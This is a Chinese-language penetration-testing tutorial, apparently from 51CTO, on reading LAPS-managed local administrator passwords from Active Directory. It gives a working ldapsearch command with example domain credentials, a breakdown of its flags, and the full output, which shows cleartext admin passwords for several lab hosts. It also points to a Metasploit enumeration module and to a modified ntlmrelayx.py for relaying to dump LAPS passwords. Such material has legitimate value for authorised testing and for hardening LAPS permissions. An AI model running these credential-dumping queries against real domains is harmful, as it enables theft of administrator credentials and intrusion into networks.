如果你之前有对启用LAPS机制的主机进行渗透测试,那么你应该能体会到该机制的随机化本地管理员密码是有多么令人痛苦。
LAPS将其信息存储在活动目录:
- 存储密码过期时间:ms-Mcs-AdmPwdExpirationTime: 131461867015760024
- 以明文显示的存储密码:ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(
LAPS早期版本中,任何用户都能够读取活动目录中的内容。还好微软已经修复,目前你必须获得该对象的所有扩展权限或者是完全控制权限才能够进行访问。
在复杂的真实环境中,内网主机中还可能存在隐藏的OU权限管理员,甚至是拥有完全控制权限的,负责特定用户组的一个标准用户。
得益于Meatballs开发的Metasploit模块:
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb 帮助我们完成了这项工作。但是我们不可能每次都特地打开一个Meterpreter会话来运行该模块吧?
使用ldapsearch(包含在Debian/Ubuntu的ldapscripts程序包中)可以被用来构造与该模块相同的请求,以下便是一个例子:
- ldapsearch -x -h 192.168.80.10 -D \
- "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" \
- "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
解析:
- -x – 使用基础身份验证
- -h 192.168.80.10 – 将ldap连接到域控制器
- -D “helpdesk” -w ASDqwe123 – 以用户名helpdesk,密码ASDqwe123进行登录
- -b “dc=sittingduck,dc=info” – 加载整个域的基础LDAP对象
- “(ms-MCS-AdmPwd=*)” – 过滤掉所有不能查看的ms-MCS-AdmPwd值 (只要拥有足够的权限,甚至还可以获取Administrator密码)
- ms-MCS-AdmPwd – 仅显示ms-MCS-AdmPwd对象 (默认包含对象名以及DN,所以你还是能知道主机从属关系)
运行情况如下:
- $ ldapsearch -x -h 192.168.80.10 -D "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
- # extended LDIF
- #
- # LDAPv3
- # base <dcdc=sittingduck,dc=info> with scope subtree
- # filter: (ms-MCS-AdmPwd=*)
- # requesting: ms-MCS-AdmPwd
- #
- # DC1, Domain Controllers, sittingduck.info
- dn: CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info
- ms-Mcs-AdmPwd: 2F1i/++N0H+G]{Y&,F
- # SDCLIENT_DAWIN7, LabComputers, Lab, sittingduck.info
- dn: CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
- ms-Mcs-AdmPwd: 8CDR4,2UE8BA{zw2@RR
- # SD_WSUS_2012, LabComputers, Lab, sittingduck.info
- dn: CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
- ms-Mcs-AdmPwd: +3!UY5@g9B.64RV2z/T
- # WIN-PM0ID6F0AHN, LabComputers, Lab, sittingduck.info
- dn: CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
- ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(
- # search reference
- ref: ldap://research.sittingduck.info/DC=research,DC=sittingduck,DC=info
- # search reference
- ref: ldap://ForestDnsZones.sittingduck.info/DC=ForestDnsZones,DC=sittingduck,D
- C=info
- # search reference
- ref: ldap://DomainDnsZones.sittingduck.info/DC=DomainDnsZones,DC=sittingduck,D
- C=info
- # search reference
- ref: ldap://sittingduck.info/CN=Configuration,DC=sittingduck,DC=info
- # search result
- search: 2
- result: 0 Success
至从获得本地管理员密码,但还没有确定该帐号是否启用,你可以使用Kerberos进行身份验证。由于Windows中域控制器对LDAP连接不会要求证书验证(据我所知),你只需在ntlmrelayx.py进行一些小修改就能转储LAPS密码了。
本文作者:鸢尾
来源:51CTO